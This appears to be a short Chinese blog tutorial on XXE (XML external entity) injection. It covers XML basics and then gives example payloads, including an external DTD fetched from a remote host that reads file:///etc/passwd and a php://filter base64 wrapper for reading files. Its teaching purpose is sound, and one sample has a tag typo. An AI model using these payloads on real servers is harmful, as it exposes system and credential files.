XXE实体注入浅谈笔记

XXE漏洞

  • 什么是xxe?

XXE是指xml外部实体攻击。

  • 在开始笔记前,让我们首先来了解一下什么是xml,以及xml的格式

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

  • 让我们看一下下面这串xml实例代码

<?xml version="1.0" encoding="UTF-8"?> //xml声明
<student>
<useername>mmm</username> //文档元素
<password>mm</password> //文档元素
<address>m</address> //文档元素
</student>

  • 元素

元素是 XML 以及 HTML 文档的主要构建模块.

  • HTML 元素

HTML 元素指的是从开始标签(start tag)到结束标签(end tag)的所有代码。
<p></P>

  • 属性

属性可提供有关元素的额外信息
实例:
<img src="mucn.gif" />

  • 实体

实体是用来定义普通文本的变量。实体引用是对实体的引用。
XML文档包含system标识符定义的“实体”,这些XML文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如,下面的XML文档样例就包含了XML ‘实体’。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY mu SYSTEM "实体">]>
<user>&mu;</user>

还可以这么写,:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mucn SYSTEM "http://123.com/12.txt">
<test>&a;</test>

其中网站的内容是
<!ENTITY a SYSTEM "file:///etc/passwd">

至于更多的xml不再多赘述。

php协议:php://filter/read=convert.base64-encode/resource=路径

详情可参照此视频:xxe实体注入

xxe.png

Mucn

Mucn

不管,看了我的博客就得帮忙转载,快点转载一下哦!❤️✔️

2 Comments

  • 小旺

    想进学院学习

    • Mucn

      欢迎呀。

留下你的评论

快留下你的小秘密吧